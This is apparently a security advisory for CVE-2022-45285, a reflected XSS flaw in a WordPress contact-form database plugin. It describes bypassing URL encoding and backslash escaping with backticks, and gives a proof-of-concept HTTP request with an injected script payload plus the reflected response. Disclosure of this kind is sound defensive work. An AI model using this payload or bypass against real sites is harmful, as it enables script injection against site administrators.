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Vsourz-Digital/AdvancedContactForm_CF7_DB_XSS/AdvancedContactForm_CF7_DB_XSS.txt
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| Reflected XSS (Cross-Site Scripting) attack - CVE-2022-45285 | |
| ------------------------------------------------------------ | |
| Vendor: Vsourz Digital | |
| Wordpress Plugin Versions: Advanced Contact form 7 DB - 1.7.2, 1.9.1 | |
| Type: Remote attack | |
| We have identified that the “Advanced Contact form 7 DB - 1.7.2, 1.9.1” Wordpress Plugin Versions are vulnerable to Reflective Cross-site scripting (XSS). This is due to that the Web App fails to sanitize HTML/JavaScript code on the server-side. By leveraging this issue, an attacker is able to cause arbitrary HTML and JavaScript code to be executed in a user's browser (e.g. admin) within the security context of the affected site. This attack can be used in conjunction with a social engineering techniques. | |
| We have managed to bypass the client-side protection (URL Encoding) by intercepting the GET HTTP request using an HTTP proxy tool, and then inserting the XSS payload. Also, we have bypassed the server-side protection (Backslash Escaping) using backticks instead of single or double quotes. | |
| Below, evidence is provided. | |
| Request: | |
| GET /formsurvey/index.php/user/admin/?'><script>alert(`XSS`)</script><' HTTP/1.1 | |
| Host: 1.1.1.1 | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| DNT: 1 | |
| Connection: close | |
| Upgrade-Insecure-Requests: 1 | |
| Response: | |
| HTTP/1.1 200 OK | |
| Date: Fri, 04 Nov 2022 12:56:09 GMT | |
| Server: Apache | |
| Expires: Wed, 11 Jan 1984 05:00:00 GMT | |
| Cache-Control: no-cache, must-revalidate, max-age=0 | |
| Pragma: no-cache | |
| Link: <http://1.1.1.1/formsurvey/index.php/wp-json/>; rel="https://api.w.org/" | |
| Link: <http://1.1.1.1/formsurvey/?p=33>; rel=shortlink | |
| Vary: Accept-Encoding | |
| Content-Length: 31433 | |
| Connection: close | |
| Content-Type: text/html; charset=UTF-8 | |
| <!DOCTYPE html> | |
| .... | |
| .... | |
| <link rel='canonical' href='http://1.1.1.1/formsurvey/index.php/user/admin/?\'><script>alert(`XSS`)</script><\'' /> | |
| .... | |
| .... | |
| </html> |